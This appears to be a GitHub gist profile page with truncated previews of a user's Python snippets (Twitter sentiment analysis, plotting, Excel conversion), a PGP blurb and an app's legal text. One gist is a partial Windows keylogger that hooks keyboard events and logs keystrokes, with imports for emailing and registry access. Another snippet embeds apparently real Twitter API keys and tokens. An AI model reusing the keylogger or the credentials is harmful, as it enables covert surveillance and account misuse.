Skip to content

Instantly share code, notes, and snippets.

View sayanmondal2098's full-sized avatar
:octocat:
Working on Research Project

Sayan Mondal sayanmondal2098

:octocat:
Working on Research Project
View GitHub Profile
@sayanmondal2098
sayanmondal2098 / twittersentimentalanalysis.py
Created April 1, 2018 07:18
Twitter Sentiment Analysis
import sys
import csv
import tweepy
import matplotlib.pyplot as plt
from collections import Counter
from aylienapiclient import textapi
from aylienapiclient import textapi
if sys.version_info[0] < 3:
@sayanmondal2098
sayanmondal2098 / analysis.py
Created April 1, 2018 07:20
data visualisation
import matplotlib.pyplot as plt
import matplotlib.animation as animation
from matplotlib import style
import time
style.use("ggplot")
fig = plt.figure()
ax1 = fig.add_subplot(1,1,1)
from tweepy.streaming import StreamListener
from tweepy import OAuthHandler
from tweepy import Stream
#Variables that contains the user credentials to access Twitter API
consumer_key = "qwDf8s8UwrbPnSl70m8C6UQEo"
consumer_secret = "J9goLBGGMPty3CUfhw5iBFTJqqpV5QuIwzq3d091qiuBBa3PgU"
access_token = "803838215803248641-QUp4N73MIqKgoiTJgmXJqKOlKRP4tex"
access_token_secret = "aVZb6FrxQ4dQdp06cn7UKCTckcbxW0oWycUASafMrbJK3"
@sayanmondal2098
sayanmondal2098 / keylogger1.py
Last active April 16, 2018 10:21
A PYTHON KEYLOGGER
import pythoncom, pyHook
import os
import sys
import threading
import smtplib
import datetime,time
import win32event, win32api, winerror
from _winreg import *
# Disallow Multiple Instances
from pyHook import *
from pyHook import HookManager
import pythoncom, sys, logging
file_log='log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
import pandas as pd
from docx import Document
import numpy
file_location = "Test.xlsx" #xlcx /xls file location
xl = pd.ExcelFile(file_location)
res = len(xl.sheet_names) #get number of sheets in a single excel file
# Twitter Sentiment Analysis
import sys
import csv
import tweepy
import matplotlib.pyplot as plt
from collections import Counter
if sys.version_info[0] < 3:
input = raw_input

Concurrent PGP in JavaScript

Pretty Good Privacy (PGP) is an encryption program privacy and authentication for data communication. PGP is used for signing encrypting, and decrypting texts, e-mails, files, directories, and whole disk partitions and to increase the security of e-mail communications.

PGP encryption uses a serial combination of hashing, data compression, symmetric-key cryptography, and finally public-key cryptography; each step uses one of several supported algorithms. Each public key is bound to a username or an e-mail address. The first version of this system was generally known as a web of trust

Terms and Conditions
Welcome to Newsaholic!
These terms and conditions outline the rules and regulations for the use of Newsaholic's Website, located at http://breadandcode.online/.
By accessing this website we assume you accept these terms and conditions. Do not continue to use BreadandCode if you do not agree to take all of the terms and conditions stated on this page.
The following terminology applies to these Terms and Conditions, Privacy Statement and Disclaimer Notice and all Agreements: "Client", "You" and "Your" refers to you, the person log on this website and compliant to the Company’s terms and conditions. "The Company", "Ourselves", "We", "Our" and "Us", refers to our Company. "Party", "Parties", or "Us", refers to both the Client and ourselves. All terms refer to the offer, acceptance and consideration of payment necessary to undertake the process of our assistance to the Client in the most appropriate manner for the express purpose of meeting the Client’s needs in respect of provision of the
**Privacy Policy**
Bread and Code built the Newsaholic app as an Ad Supported app. This SERVICE is provided by Bread and Code at no cost and is intended for use as is.
This page is used to inform visitors regarding our policies with the collection, use, and disclosure of Personal Information if anyone decided to use our Service.
If you choose to use our Service, then you agree to the collection and use of information in relation to this policy. The Personal Information that we collect is used for providing and improving the Service. We will not use or share your information with anyone except as described in this Privacy Policy.
The terms used in this Privacy Policy have the same meanings as in our Terms and Conditions, which is accessible at Newsaholic unless otherwise defined in this Privacy Policy.